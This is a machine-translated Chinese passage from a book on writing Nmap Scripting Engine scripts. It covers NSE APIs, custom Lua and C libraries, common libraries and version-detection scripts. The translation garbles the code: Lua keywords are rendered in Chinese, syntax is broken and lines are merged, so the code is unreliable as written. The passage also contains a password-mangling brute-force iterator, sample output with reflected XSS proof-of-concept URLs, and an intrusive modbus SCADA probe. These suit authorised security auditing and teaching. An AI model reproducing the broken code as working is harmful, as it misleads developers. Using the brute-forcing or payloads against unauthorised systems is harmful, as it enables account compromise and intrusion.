依赖性
这个字段描述了NSE脚本之间可能存在的依赖关系。当脚本需要以特定的顺序运行时,这是非常有用的,这样它们就可以在另一个脚本中使用前一个脚本的输出。在依赖关系字段中列出的脚本不会自动运行,它们仍然需要被选择来运行。
一个NSE脚本样本
一个简单的NSE脚本看起来像下面这样。
探索环境变量
在编写脚本时,有几个环境变量需要考虑,因为它们会有帮助。
- SCRIPT_PATH:这将返回正在运行的脚本的绝对路径。
- SCRIPT_NAME。这将返回正在运行的脚本名称
- SCRIPT_TYPE。这将返回 "prerule"、"hostrule"、"portrule "或 "postrule"
使用SCRIPT_NAME环境变量而不是硬编码你的脚本的名字。这样,如果你最终改变了脚本的名称,你就不需要更新它。例如,你可以用它来读取脚本的参数,如下所示。
local arg1 = stdnse.get_script_args(SCRIPT_NAME.".arg1")
stdnse库将在本章后面进行探讨。这个库包含get_script_args()函数,可以用来读取脚本参数。
访问Nmap API
这是核心API,允许脚本获得主机和端口信息
如名称解析、状态、版本检测结果、Mac地址,以及更多(如果有的话)。它还提供了Nsock的接口,Nmap的套接字库,这将在第8章,与网络套接字和二进制数据一起工作中涉及。
NSE的参数
传递给主行动函数的参数包括两个对应于主机和端口信息的Lua表。可用的信息量取决于扫描时使用的选项。例如,如果没有设置操作系统检测模式(-O),host.os表将不显示任何信息。
主机表
主机表是一个常规的Lua表,有以下字段。
- host.os。这是包含操作系统匹配的表(仅适用于操作系统检测)。
- host.ip。这是目标的IP地址
- host.name:这是目标的反向DNS名称(如果有)。
- host.targetname:这是命令行中指定的主机名。
- host.direct_connected:这是一个布尔值,表示目标是否在同一个网段上。
- host.mac_addr: 这是目标的Mac地址。
- host.mac_addr_next_hop:这是到达目标的第一跳Mac地址
- host.mac_addr_src: 这是我们客户端的Mac地址。
- host.interface_mtu:这是你的网络接口的MTU值
- host.bin_ip。这是目标IP地址,分别为IPv4和Ipv6的4字节和16字节的字符串。
- host.bin_ip_src: 这是我们客户端的IP地址,分别为IPv4和Ipv6的4字节和16字节的字符串。
- host.times。这是目标的计时数据
- host.traceroute。这只适用于 --traceroute
端口表
端口表是以Lua表的形式存储的,它可能包含以下字段。
- port.number:这是目标端口的编号。
- port.protocol:这是目标端口的协议。它可以是tcp或udp。
- port.service。这是通过端口匹配或通过服务检测(-sV)检测到的服务名称。
- port.version:这是包含由服务检测扫描发现的版本信息的表。该表包含的字段有:name、name_confidence、product、version、extrainfo、hostname、ostype、devicetype、service_tunnel、service_ftp和cpe代码。
- port.state。这返回关于端口状态的信息。参见第1章,Nmap脚本引擎简介,以获得更多关于端口状态的信息。
NSE脚本中的异常处理
NSE中的异常处理机制被设计用来帮助处理网络I/O任务。它以一种非常直接的方式工作。开发者必须将他们想要监控异常的代码包裹在nmap.new_try()调用中。该函数返回的第一个值表示完成状态。如果它返回false或nil,第二个返回值必须是一个错误字符串。在一个成功的执行中,其余的返回值可以被设置并以任何方式使用。
由nmap.new_try()定义的catch函数将在异常发生时执行。让我们看看mysql-vuln-cve2012-2122.nse脚本(http://nmap.org/ nsedoc/scripts/mysql-vuln-cve2012-2122.html)。在这个脚本中,如果一个套接字被打开,一个catch函数会执行一些简单的垃圾收集。
官方文档可以在http://nmap.org/ nsedoc/lib/nmap.html找到。
NSE注册
NSE注册是一个Lua表,用来存储扫描过程中所有脚本之间共享的变量。注册表被存储在nmap.registry变量中。例如,一些暴力脚本将存储有效的凭证,以便其他脚本可以使用它们来执行认证的行动。我们像其他常规Lua表一样插入数值。
请记住选择唯一的注册表名称,以避免覆盖其他脚本使用的值。
编写NSE库
在编写你自己的NSE脚本时,你有时会想重构代码,让它为他人所用。创建NSE库的过程相当简单,只有几件事情需要注意。NSE库大多采用Lua语言,但也可以使用其他编程语言,如C和C++。
让我们创建一个简单的Lua库来说明这有多容易。首先,记住NSE库默认存储在您的Nmap数据目录的/nselib/目录下(见第3章,NSE数据文件,了解如何定位这个目录)。首先在里面创建一个名为myfirstlib.lua的文件。在我们新写的文件里,放置以下内容。
第一行声明了与stdnse NSE库的依赖关系,该库存储了与输入处理有关的有用函数。
local stdnse = require "stdnse"
剩下的是一个函数声明,它接受两个参数,并通过stdnse库的格式函数传递给它们。
函数 hello(msg, name)
return stdnse.format("Hello '%s',\n%s", msg, name) end
现在我们可以通过以下方式从任何脚本中调用我们的新库。
local myfirstlib = require "myfirstlib"
...
myfirstlib.hello("foo", "game over!" )
...
请记住,如果你不为你的全局变量选择有意义的名字,可能会发生全局名称的碰撞。
stdnse NSE库的官方在线文档可以在http://nmap.org/nsedoc/lib/stdnse.html。
扩展一个NSE库的功能
现有的NSE库是强大而全面的,但有时,我们
会发现我们需要修改它们来实现特殊任务。对我来说,是需要简化密码审计过程,即用其他工具进行字词表处理,然后在蛮横类中运行脚本。为了简化
这一点,让我们来扩展一个可用的NSE库的功能,也是个人最喜欢的一个:Brute NSE库。在这个实现中,我们将添加一个新的执行模式,称为pass-mangling,它将即时执行常见的密码组合,省去我们运行第三方工具的麻烦。
让我们开始编写我们的新迭代器函数。这将在我们的新执行模式中使用(执行模式在第6章,开发强制密码审计脚本中描述)。在我们的新迭代器中,我们定义了以下混杂规则。
- 数字。添加密码中常见的数字,如一位数和两位数的数字以及常见的密码组合,如123。
- 字符串。执行常见的字符串操作,如反转、重复、大写、驼峰化、leetify等。
- 特殊。附加常见的特殊字符,如 !,$,#,等等。
- 全部。该规则执行之前描述的所有规则
例如,在运行我们新的暴力模式通关方法时,秘密这个词将产生以下登录尝试。
秘密2014 秘密2015 秘密2013 秘密2012 秘密2011 秘密2010 秘密2009 秘密1 秘密2
...
secret9 secret00 secret01
...
secret99 secret123 secret1234 secret12345 s3cr3t SECRET S3CR3T
Secret terces Secret S3cr3t secretsecret
秘密秘密秘密 秘密$
秘密# 秘密!秘密。 秘密@
我们新的迭代器函数,pw_mangling_iterator,将负责生成与每个规则对应的排列组合。这是一套基本的规则,只负责处理常见的密码排列组合。你可以在读完这个之后研究更高级的密码混合规则。
pw_mangling_iterator = function( users, passwords, rule) 本地函数 next_credential ( )
for user, pass in Iterators.account_iterator(users, passwords, "pass") do
如果规则=='数字'或规则=='所有',则
-- 今年,明年,5年前...... local year = tonumber(os.date("%Y")) coroutine.yield( user, pass.year ) coroutine.yield( user, pass.year+1 )
for i = year, year-5, -1 do coroutine.yield( user, pass.i )
结束
-- 从0到9的数字
for i = 0, 9 do
coroutine.yield( user, pass...i ) end
-- 从00到99的数字
for i = 0, 9 do
对于x = 0, 9 do
coroutine.yield( user, pass...i...x ) end
结束
--常见的数字组合 coroutine.yield( user, pass... "123" ) coroutine.yield( user, pass... "1234" ) coroutine.yield( user, pass... "12345" )
结束
如果规则=="字符串 "或规则=="所有",那么
-- 基本的字符串东西,如大写字母。
-- 反向、驼峰化和重复 local leetify = {["a"] = '4',
["e"] = '3',
["i"] = '1',
["o"] = '0'}
local leetified_pass = pass:gsub("%a", leetify) coroutine.yield( user, leetified_pass ) coroutine.yield( user, pass:upper( ) )
coroutine.yield( user, leetified_pass:upper() ) coroutine.yield( user, pass:lower( ) ) coroutine.yield( user, pass:reverse() )
coroutine.yield( user, pass:sub(1,1):upper().pass:sub(2)
)
coroutine.yield( 用户。
leetified_pass:sub(1,1):upper().leetified_pass:sub(2) ) coroutine.yield ( user, pass:rep(2) ) coroutine.yield ( user, pass:rep(3) )
结束
如果规则=="特殊 "或规则=="所有",那么
-- 常见的特殊字符如$,#,! coroutine.yield( user, pass...'$') coroutine.yield( user, pass...'#') coroutine.yield( user, pass...'!') coroutine.yield( user, pass...'。' coroutine.yield( user, pass...'@' )
结束 结束
while true do coroutine.yield(nil, nil) end end
return coroutine.wrap( next_credential ) end
我们将添加一个新的脚本参数来定义启动函数内的蛮横规则
蛮横的引擎。
local mangling_rules = stdnse.get_script_args("brute.mangling-rule") or "all"
在这种情况下,我们还需要添加一个elseif子句来执行我们的模式,当
pass-mangling字符串作为参数传递。新的代码块看起来像这样。
...
elseif( mode and mode == 'pass') then
self.iterator = self.iterator 或 Iterators.pw_user_iterator( usernames, passwords )
elseif( mode and mode == 'pass-mangling') then self.iterator = self.iterator or
Iterators.pw_mangling_iterator( usernames, passwords,
mangling_rules )
elseif ( mode ) 则
return false, ("Unsupported mode: %s"):format(mode)
...
通过这个简单的增加一个新的迭代器函数,我们不可避免地改进了50多个使用这个NSE库的脚本。现在你可以对所有的协议和应用程序进行即时的密码处理。在这一点上,非常清楚为什么NSE中的代码重构是一个主要的优势,以及为什么你应该尽量坚持使用现有的实现,如Driver brute engine。
C/C++中的NSE模块
NSE包含的一些模块是用C++或C语言编写的,这些语言提供了更高的性能,但只有在速度很关键或需要C或C++实现一个库的时候才推荐使用。
让我们用C语言建立一个简单的NSE库的例子来让你熟悉这个过程。在这种情况下,我们的C模块将包含一个简单地在屏幕上打印消息的方法。总的来说,让一个C语言库与NSE进行通信的步骤如下。
- 把您的库的源文件和头文件放在Nmap的根目录中。
- 在源文件、头文件和对象文件中为新库添加条目,在
Makefile.in文件
- 从nse_main.cc文件中链接新库
首先,我们将创建我们的库源文件和头文件。C语言库的命名规则是将库名附加到nse_字符串上。例如,对于我们的库test,我们将命名我们的文件为nse_test.cc和nse_test.h。将以下内容放在一个名为nse_test.cc的文件中。
外部 "C" {
#include "lauxlib.h"#include "lua.h"
}
#include "nse_test.h"
static int hello_world(lua_State *L) { printf("Hello World From a C library/n"); return 1;
}
static const const struct luaL_Reg testlib[] = {
{"hello",hello_world},
[NULL, NULL]。
};
LUALIB_API int luaopen_test(lua_State *L) { luaL_newlib(L, testlib);
返回 1;
}
然后把这些内容放在nse_test.h库头文件中。
#ifndef TESTLIB #define TESTLIB
#define TESTLIBNAME "test"
LUALIB_API int luaopen_test(lua_State *L); #endif
对nse_main.cc文件做如下修改。
- 在文件的开头包括库头。
#include <nse_test.h>
- 寻找set_nmap_libraries(lua_State *L)函数并更新
libs变量以包括新库。
static const luaL_Reg libs[] = {
{NSE_PCRELIBNAME, luaopen_pcrelib}。
{NSE_NMAPLIBNAME, luaopen_nmap}。
{NSE_BINLIBNAME, luaopen_binlib}。
{BITLIBNAME, luaopen_bit}。
{TESTLIBNAME, luaopen_test}。
{LFSLIBNAME, luaopen_lfs}。
{LPEGLIBNAME, luaopen_lpeg}, #ifdef HAVE_OPENSSL
{OPENSSLLIBNAME, luaopen_openssl}, #endif
[NULL, NULL]。
};
- 将NSE_SRC、NSE_HDRS和NSE_OBJS变量添加到Makefile.in。
NSE_SRC=nse_main.cc nse_utility.cc nse_nsock.cc nse_dnet.cc nse_fs.cc nse_nmaplib.cc nse_debug.cc nse_pcrelib.cc nse_binlib.cc nse_bit.cc nse_test.cc nse_lpeg.cc
NSE_HDRS=nse_main.h nse_utility.h nse_nsock.h nse_dnet.h nse_fs.h nse_nmaplib.h nse_debug.h nse_pcrelib.h nse_binlib.h nse_bit.h nse_test.h nse_lpeg.h
NSE_OBJS=nse_main.o nse_utility.o nse_nsock.o nse_dnet.o nse_fs.o nse_nmaplib.o nse_debug.o nse_pcrelib.o nse_binlib.o nse_bit.o nse_test.o nse_lpeg.o
现在我们只需要重新编译并创建一个NSE脚本样本来测试我们的新库。
- 在你的scripts文件夹中创建一个名为nse-test.nse的文件,内容如下。
本地测试 = 要求 "测试"
描述 = [[]
从C语言库中调用一个方法的测试脚本
]]
作者 = "Paulino Calderon <calderon()websec.mx>"
license = "与Nmap相同--见http://nmap.org/book/man-legal.html" categories = {"safe"}
portrule = function() return true end action = function(host, port)
local c = test.hello()
结束
- 最后,我们执行我们的脚本。在这种情况下,当脚本被执行时,我们将看到Hello World From a C library的信息。
$nmap -p80 --script nse-test scanme.nmap.org
启动Nmap 6.47SVN ( http://nmap.org ) 在2015-01-13 23:41 CST
来自C语言库的Hello World
scanme.nmap.org (74.207.244.221) 主机的Nmap扫描报告是向上的(0.12s延迟)。
港口国服务
80/tcp openhttp
Nmap完成了。在0.79秒内扫描了1个IP地址(1台主机)。
要了解更多关于Lua的C语言API和如何运行编译的C模块,请查看官方文档:http://www.lua.org/ manual/5.2/manual.html#4和http://nmap.org/book/ nse-library.html。
探索其他流行的NSE库
让我们简单回顾一下在开发自己的脚本时可能需要的一些最常见的库。目前有107个可用的库,但在开发自己的脚本时,为了提高脚本的质量,必须随时记住以下这些库。
ǞǞǞ
这个库包含对NSE开发有用的各种函数。它有与计时、并行、输出格式化和字符串处理有关的功能。
你在脚本中最可能需要的功能如下。
- stdnse.get_script_args: 这将获得通过以下方式传递的脚本参数
--script-args选项。
local threads = stdnse.get_script_args(SCRIPT_NAME.".threads") or 3
- stdnse.debug。这将打印出一条调试信息。
stdnse.debug2("这是为调试级别2或更高而显示的调试信息" )
- stdnse.verbose。这将打印出一个格式化的verbosity信息。
stdnse.verbose1("因缺乏权限而未运行。")
- stdnse.strjoin。这是将一个字符串与一个分隔符字符串连接起来。
local output = stdnse.strjoin("\n", output_lines)
- stdnse.strsplit。它通过一个分隔符来分割字符串。
local headers = stdnse.strsplit("\r\n", headers)
stdnse NSE库的官方在线文档可以在http://nmap.org/nsedoc/lib/stdnse.html。
openssl
这是在加密、散列和多精度整数中常用的OpenSSL绑定的接口。它的可用性取决于Nmap是如何建立的,但是我们总是可以在pcall()保护调用的帮助下检查它是否可用。
如果不是 pcall(require, "openssl") 那么 action = function(host, port)
stdnse.print_debug(2, "Skipping\"%s\" because OpenSSL is missing." , id)
结束 结束
action = action 或 function(host, port)
...
结束
openssl NSE库的官方在线文档可以在http://nmap.org/nsedoc/lib/openssl.html。
目标
这是一个旨在管理新发现目标的扫描队列的实用程序库。它使运行有prerule、hostrule或portrule执行规则的NSE脚本能够即时把新目标添加到Nmap的当前扫描队列中。如果您在写一个属于发现类别的NSE脚本,我鼓励您在脚本中使用这个库。
要添加目标,只需调用target.add函数。
local status, err = target.add("192.168.1.1", "192.168.1.2",...)
目标NSE库的官方在线文档可以在http://nmap.org/nsedoc/lib/target.html。
短口
这个库被设计用来帮助建立端口规则(见第1章,Nmap脚本引擎简介)。它试图在一个地方收集脚本开发者最常用的端口规则。要使用它,我们只需加载该库并指定相应的端口规则。
本地短端口 = 需要 "短端口"
...
portrule = shortport.http
你可能需要的最常见的功能如下。
- http:这是用于匹配HTTP服务的端口规则。
portrule = shortport.http
- port_or_service:这是端口规则,用于匹配端口号或服务名称。
portrule = shortport.port_or_service(177, "xdmcp", "udp")
- portnumber:这是端口规则,用于匹配一个端口或一个端口列表。
portrule = shortport.portnumber(69, "udp")
短口NSE库的官方在线文档可以在http://nmap.org/nsedoc/lib/shortport.html。
信誉
这个库管理由脚本找到的凭证。它只是在注册表中存储凭证,但它提供了一个干净的接口来与数据库一起工作。
要向数据库添加凭证,你只需要创建一个creds对象并调用添加函数。
local c = creds.Credentials:new( SCRIPT_NAME, host, port ) c:add( "packtpub", "secret", creds.State.VALID )
我们将在第6章 "开发强制密码审计脚本 "中进一步了解这个库,届时我们将编写自己的强制NSE脚本。
creds NSE库的官方在线文档可以在http://nmap.org/nsedoc/lib/creds.html。
秃鹫
该库旨在帮助开发人员展示主机在安全漏洞方面的状态。它为NSE在系统中发现的每一个漏洞管理和呈现一致的、人类可读的报告。这个库产生的报告看起来像下面这样。
端口状态服务原因
80/tcp openhttpsyn-ack http-phpself-xss:
易受伤害。
在 PHP 文件中不安全地使用 $_SERVER["PHP_SELF"] 状态。VULNERABLE (可利用)
描述。
PHP文件没有安全地处理变量
$_SERVER["PHP_SELF"]造成反射性跨站脚本漏洞。
额外信息。
有概念证明的易损文件:http://calder0n.com/sillyapp/three。
php/%27%22/%3E%3Cscript%3Ealert
(1)%3C/script%3E
http://calder0n.com/sillyapp/secret/2. php/%27%22/%3E%3Cscript%3Eal ert(1)%3C/script%3E
http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Eale rt(1)%
3C/script%3E
http://calder0n.com/sillyapp/secret/1. php/%27%22/%3E%3Cscript%3Eal ert(1)%3C/script%3E
窥探限制为:maxdepth=3; maxpagecount=20; withinhost=calder0n.com
参考文献。
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) http://php.net/manual/en/reserved.variables.server.php
这个库将在第10章 "漏洞检测和利用 "中详细介绍。
vulns NSE库的官方在线文档可以在http://nmap.org/nsedoc/lib/vulns.html。
http
Nmap已经成为一个强大的网络漏洞扫描器,大多数与HTTP有关的任务都可以用这个库完成。该库使用简单,允许原始头处理,甚至支持HTTP管道。
它有http.head()、http.get()和http.post()等方法,分别对应常见的HTTP方法HEAD、GET和POST,但它也有一个名为http.generic_request()的通用方法,为那些可能想尝试更隐晦的HTTP动词的开发者提供更多灵活性。
一个简单的HTTP GET调用可以通过一个方法调用来完成。
local respo = http.get(host, port, uri)
http NSE库的官方在线文档可以在http://nmap.org/nsedoc/lib/http.html。
摘要
在这一章中,您了解了NSE可以得到什么信息,以及如何用这些数据来实现Nmap的不同任务。您还学习了主要的NSE API是如何工作的,脚本和库的结构是怎样的。我们涵盖了用C和Lua开发新的NSE库的过程。现在您应该有Lua和NSE内部工作的所有知识,可以开始编写您自己的脚本和库。
下一章将介绍NSE的版本检测功能,我们将开始编写自己的版本检测脚本。
加强版本检测
Nmap脚本引擎(NSE)通过允许脚本对扫描的目标执行额外的指纹识别任务来增强其已经很强大的版本检测功能。一些版本脚本可以被翻译成探针,有时写一个NSE脚本会更容易。在本章中,你将了解什么时候应该这样做。
属于版本类别的NSE脚本会在版本检测模式启用后自动运行。因此,我们必须学会如何识别一个脚本是否属于这个类别。另外,脚本执行规则如果针对不同的服务运行,也不应该引发误报。
您将学习用NSE进行版本检测的基本原理,以及如何编写您自己的NSE脚本。我们将回顾版本脚本中最常见的执行主机和端口规则;在本章结束时,您将了解Nmap和NSE的版本检测的一切。
如果你熟悉以下主题,你可以跳过本章。
- Nmap中版本检测的内部工作原理
- 调整版本扫描的稀有程度
- 编写你自己的版本检测探针
- 编写你自己的NSE版本脚本
有时,你会被未识别的服务绊倒。利用这些机会来实践你在这里学到的东西,并通过分享你的新版本脚本和探针为社区做出贡献。
了解NSE中的版本检测模式
Nmap的-sV选项可以启用服务检测模式,允许其用户确定一个正在运行的服务的版本。如果版本检测被启用,结果表将包含额外的VERSION列。
端口状态服务版本
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
25/tcp过滤的smtp
80/tcp open http Apache httpd 2.2.14 ((Ubuntu)) 9929/tcp open nping-echo Nping echo
服务信息。操作系统。Linux; CPE: cpe:/o:linux:linux_kernel
进行了服务检测。请报告任何不正确的结果,http://nmap.org/submit/ 。
Nmap完成了。在16.63秒内扫描了1个IP地址(1台主机)。
返回的信息量各不相同,但作为一个寻找安全漏洞的渗透测试者,或者甚至作为一个系统管理员,留意你的网络是否有不寻常的变化,这些信息是非常有用的。请记住,会有一些服务允许你列出支持的模块并获得非常详细的协议或服务信息。
要启用服务检测模式,请使用-sV标志。
#nmap -sV scanme.nmap.org
用于启用NSE的-sC标志将不会自动运行版本脚本。如果你对这些信息感兴趣,也有必要加入-sV标志。
#nmap -sV -sC <目标
版本检测的各个阶段
一个版本检测扫描分为以下几个阶段。
- 如果端口被打开,就会向该服务发送一个NULL探针。这种类型的探测包括打开连接和监听目标发送的任何数据。响应与数据库中所有不同的签名相匹配,产生一个软匹配或硬匹配。如果匹配结果是软匹配,它将启动额外的相应探测。
- 如果最初的NULL探针未能找出服务的指纹,则发送存储在nmap-service-probes中的TCP和UDP探针。这个阶段的工作方式与NULL探针类似,只是每个探针都有一个字符串作为有效载荷被发送。 如前所述,这些探针产生的任何响应将与已知签名列表进行匹配。
- 如果前面两个阶段都失败了,Nmap将依次启动特定服务的探测。这一部分被大量优化,以避免网络状态损坏,并减少匹配服务所需的探测次数。
- 发送探针以确定目标是否在运行SSL。如果检测到一个服务,则针对该端口重新启动服务扫描,以确定监听服务。
- 启动了一系列的探测,以识别基于RPC的服务。
- 如果一个探针产生一个未识别的响应,Nmap会产生一个
可以提交的指纹,以改善数据库。
调整版本扫描的稀有程度
发送给每个服务的探针数量取决于每个探针在/nmap-service-probes文件中定义的一个名为rarity的值。你可以通过改变扫描的强度水平来设置使用的探针数量,使用--版本--强度
[0-9] 参数。
#nmap -sV --version-intensity 9 <目标>.
更高的版本强度扫描将产生更好的结果,但会占用相当长的时间。默认的服务扫描的稀有度值是7。还有一些别名,如--版本-轻度和--版本-全部。它们分别对应于将稀有度值设置为2和9。
更新版本探针数据库
版本探测数据库存储在nmap-service-probes文件中,并且不断地更新,这要感谢用户的提交。您可以通过提交新的指纹或修复程序到 http://insecure.org/cgi-bin 来帮助Nmap提高探测能力。
/submit.cgi?
如果你要提交修复或新的探针,我建议先阅读官方文档。它可以在http://nmap.org/book/ vscan-community.html#vscan-submit-prints。
仔细研究一下文件格式
nmap-service-probes文件由几个指令组成,这些指令定义了扫描器的行为。如果你想做一些事情,比如从版本检测中排除端口,调整NULL探针的超时值,或者修复
一个模式匹配。下面是一个取自http://nmap.org/book/ vscan-fileformat.html的样本文件,说明了这个文件的主要部分。
# 排除指令需要一个以逗号分隔的端口列表。# 其格式与-p开关完全相同。
不包括T:9100-9107
# 这是一个NULL探针,只是比较给我们的任何标语
##############################NEXT PROBE##############################
探查TCP NULL q|||
# 等待至少5秒的 数据。否则就使用 Nmap默认值。
Totalwaitms 5000
# ? Windows 2003
match ftp m/^220[ -]Microsoft FTP Service\r\n/ p/Microsoft ftpd/ match ftp m/^220 ProFTPD (\d\S+) Server/ p/ProFTPD/ v/$1/ softmatch ftp m/^220 [-.\w ]+ftp.*\r\n$/i
匹配身份m|^flock(\)在封闭的文件手.*midentd| p/midentd/ i/broken/上。
match imap m|^* OK 欢迎来到Binc IMAP v(\d[-.\w]+)| p/Binc IMAPd/ v$1/
softmatch imap m/^* OK [-.\w ]+imap[-.\w ]+\r\n$/i
匹配 lucent-fwadm m|^0001;2$| p/Lucent Secure Management Server/匹配 meetingmaker m/^\xc1,$/ p/Meeting Maker calendaring/
# lopster 1.2.0.1 on Linux 1.1
match napster m|^1$| p/Lopster Napster P2P客户端/。
Probe UDP Help q|helpr\n| rarity 3
端口7,13,37
Match chargen m|@ABCDEFGHIJKLMNOPQRSTUVWXYZ| match echo m|^help\r\nrn$|
该文件格式中使用的所有指令的文档可在以下网站上找到
http://nmap.org/book/vscan-fileformat.html。
将扫描的端口排除在版本检测之外
Nmap默认不向9100和9107之间的TCP端口发送版本检测探针。这是为了避免一些已知的打印机在发送探测时随机打印垃圾。如果您想添加其他适用于您自己环境的服务,您可以在nmap-service-probes文件中用Exclude指令添加它们。
不包括T:9100-9107
当Nmap和--allports一起使用时,所有排除规则都被忽略。
选择。
使用回退来匹配其他版本的探针
回落试图通过允许探针与其他探针对应的正则表达式相匹配来提高检测过程的效率。这种机制允许我们在某些服务中进行作弊,以匹配以前探针的响应。关于这个指令的更多信息可以在文件格式部分找到
本章的内容--例如。
探测TCP GetRequest q|GET / HTTP/1.0\r\n\r\n| rarity 1
端口1,70,79,80-
85,88,113,139,143,280,497,505,514,515,540,554,591,620,631,783,888,
898,900,901,993,995,1026,1080,1042,1214,1220,1234,1311,1314,1344,1
503,1610,1611,1830,1900,2001,2002,2030,2064,2160,2306,2396,2525,27
15,2869,3000,3002,3052,3128,3280,3372,3531,3689,3872,4000,4444,456
7,4660,4711,5000,5427,5060,5222,5269,5280,5432,5800-
5803,5900,6103,6346,6544,6600,6699,6969,7002,7007,7070,7100,7402,7
776,8000-8010,8080-8085,8088,8118,8181,8443,8880-
8888,9000,9001,9030,9050,9080,9090,9999,10000,10001,10005,11371,13
013,13666,13722,14534,15000,17988,18264,31337,40193,50000,55555
汕头港 443,4443
...
探测TCP HTTPOptions q|OPTIONS / HTTP/1.0\r\n\n| rarity 4
ports 80-85,2301,443,631,641,3128,5232,6000,8080,8888,9999,10000,
10031,37435,49400
回落的GetRequest
了解后期处理程序
后处理程序被设计用来在检测到某些服务后执行额外的任务。有两个后处理程序。
- NSE
- SSL服务
Nmap脚本引擎
NSE用于对检测到的服务进行高级指纹识别,以克服正则表达式检测系统的限制。这个后处理程序负责将主机和端口数据传递给相应的NSE版本脚本。
在最近的版本中,RPC研磨后处理器已经被删除,因为这个功能已经迁移到rpc-grind NSE脚本中。这也是NSE效率的另一个证明。目前,还有其他的功能正在被移植到NSE中,包括端口扫描。
SSL
SSL后处理器识别在SSL协议上运行的服务并创建一个加密的会话,从那里启动服务检测扫描来识别底层服务。这允许Nmap版本检测系统正确地识别服务,如SMTPS、HTTPS、FTPS和许多其他在SSL上运行的常见服务。
这个后处理程序依赖于系统中存在的OpenSSL(http://openssl.org)。
编写你自己的版本检测脚本
当编写我们自己的NSE脚本时,我们将使用Nmap提供的API来与主机和端口数据库交互。要写一个版本脚本,我们只需要做以下工作。
- 将你的脚本添加到分类版本中。
- 写出相应的端口规则。
- 检测成功后在我们的脚本中设置端口版本。
定义版本检测的类别
脚本
第一步是非常直接的。在你的NSE脚本中,添加类别字段
如下:
类别 = {"版本" }
类别字段实际上是一个普通的Lua表,所以可以随意添加更多的类别。
如果有必要的话,请将其添加到你的脚本中。
定义版本检测的端口规则
脚本
下一件重要的事情是要有一个与所需服务相匹配的门廊。保持在
请注意,我们有函数别名,这将有助于定义这些规则,如:。
- shortport.portnumber(port, protos, states)
- shortport.version_port_or_service(ports, services, protos, states)
- shortport.port_or_service(ports, services, protos, states)。
- shortport.service(services, protos, states)。
不要忘记,这些别名是存储在shortport库中的。要在你的脚本中包含这个库,你只需调用require()函数。
本地 "shortport" = 需要 "shortport"
例如,假设我们想匹配任何运行在522端口的TCP或UDP上的端口或服务,状态为开放或过滤。我们可以使用shortport的别名version_port_or_service()函数,如下。
portrule = shortport.version_port_or_service({52}, nil,
{"tcp","udp"},{"open","open|filtered"})
短口NSE库的文件可以在以下网址找到
http://nmap.org/nsedoc/lib/shortport.html。
更新端口版本信息
在执行了提取服务信息所需的相应任务后,您想返回这些额外的信息并更新当前端口的状态和版本信息。为了更新端口的版本信息,您需要使用Nmap的API函数。
nmap.set_port_version(host, port, confidence)。
首先,包括Nmap库。
本地nmap = 需要 "nmap"
set_port_version()函数更新了以下可选字段,在
VERSION栏。
- 名称
- 产品
- 版本
- 延伸的内容
- 主机名
- 种类
- 设备类型
- 服务
- cpe
设置匹配的信心水平
置信度字段表示NSE脚本返回的信息的准确程度,可以认为是准确的。可用的值是。
- 匹配度高的
- 软配
- 命名法
- tcpwrapped
- 不完整
默认值是harddmatch。这个值意味着端口信息是百分之百准确的。
版本检测脚本的例子
现在我们将简要介绍几个不同的NSE版本脚本的例子,以熟悉结构和所需的组件。
NSE脚本 - modbus-discover
modbus-discover脚本是由Alexander Rudakov编写的,用于通过modbus协议检索设备信息。MODBUS是非常流行的,在
监督控制和数据采集(SCADA)系统。该脚本试图发现有效的从属ID(SID)并检索额外的设备信息。
action = function(host, port)
-- 如果是假的,则在第一个sid后停止。
本地aggressive = stdnse.get_script_args('modbus
-discover.aggressive')
本地操作 = {timeout=2000}本地结果 = {}。
for sid = 1, 246 do
stdnse.print_debug(3, "发送命令,sid = %d", sid) local rsid = form_rsid(sid, 0x11, "")
local status, result = comm.exchange(host, port, rsid, opts)
然后
如果(status and (#result >= 8)) 那么
local ret_code = string.byte(result, 8)
如果 ( ret_code == (0x11) 或 ret_code == (0x11 + 128) )
本地sid_table = {}
如果ret_code == (0x11),那么
table.insert(results, ("Positive response for
sid = 0x%x"):format(sid))
local slave_id = extract_slave_id(result) if ( slave_id ~= nil ) then
table.insert(sid_table, "SLAVE ID DATA: ".slave_id) end
elseif ret_code == (0x11 + 128) then
local exception_code = string.byte(result, 9) local exception_string =
modbus_exception_codes[exception_code]
if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end
table.insert(results, ("Positive error response for sid = 0x%x (%s)"): format(sid, exception_string))
结束
端口, sid)
local device_table = discover_device_id(host,
如果( #device_table > 0 ),那么table.insert(sid_table,
form_device_id_string(device_table))
结束
如果( #sid_table > 0 )那么table.insert(results, sid_table)。
结束
结束
结束
结束
如果(不具有侵略性),则中断,结束
if ( #results > 0 ) then port.state = "open" port.version.name = "modbus"
nmap.set_port_version(host, port)
结束
返回 stdnse.format_output(true, results)。
结束
如果我们打开脚本,首先注意到的是我们的脚本所属的类别。
类别 = {"发现", "侵入"}.
然后我们注意到它的执行规则。
portrule = shortport.portnumber(502, "tcp")
我们使用这个脚本的原因,尽管它不包括在版本类别中,是为了证明任何脚本都可以通过Nmap API更新端口版本信息。
然后,脚本继续其检测程序;最后,它将在nmap.set_port_version()函数的帮助下简单地更新目标的端口状态和版本名称。
如果 ( #results > 0 ) 那么 port.state = "open" port.version.name = "modbus" nmap.set_port_version(host, port) end
modbus-discover脚本的结果将类似于下面的例子。
港口国服务
502/tcp openmodbus
| modbus-discover。
|对sid=0x64 的积极响应
|slave id data:\xFA\xFFPM710PowerMeter
|设备识别:施耐德电气PM710v03.110
|_sid = 0x96 (GATEWAY TARGETDEVICE FAILED TO RESPONSE) 的正面错误响应
NSE脚本 - Ventrilo-info
ventrilo-info脚本由Marin Marzic提交,用于检测流行的Ventrilo语音通信服务器,并提取有趣的配置值和信息,如准确的操作系统信息,正常运行时间,认证方案,等等。这是一个包含在Nmap中的默认版本检测脚本。
打开该脚本的源代码,看看执行规则。
portrule = shortport.version_port_or_service({3784}, "ventrilo",
{"tcp", "udp"})
在检测到服务和配置后,脚本设置相应的端口版本字段并更新端口表。
--将收到的数据字符串解析成一个输出表 local info = o_table(fulldata_str)
port.version.name = "ventrilo" port.version.name_confidence = 10 port.version.product = "Ventrilo" port.version.version = info.version port.version.ostype = info.platform port.version.extrainfo = "; name: ". info.name if port.protocol == "tcp" then
port.version.extrainfo = "语音端口" ... port.version.extrainfo else
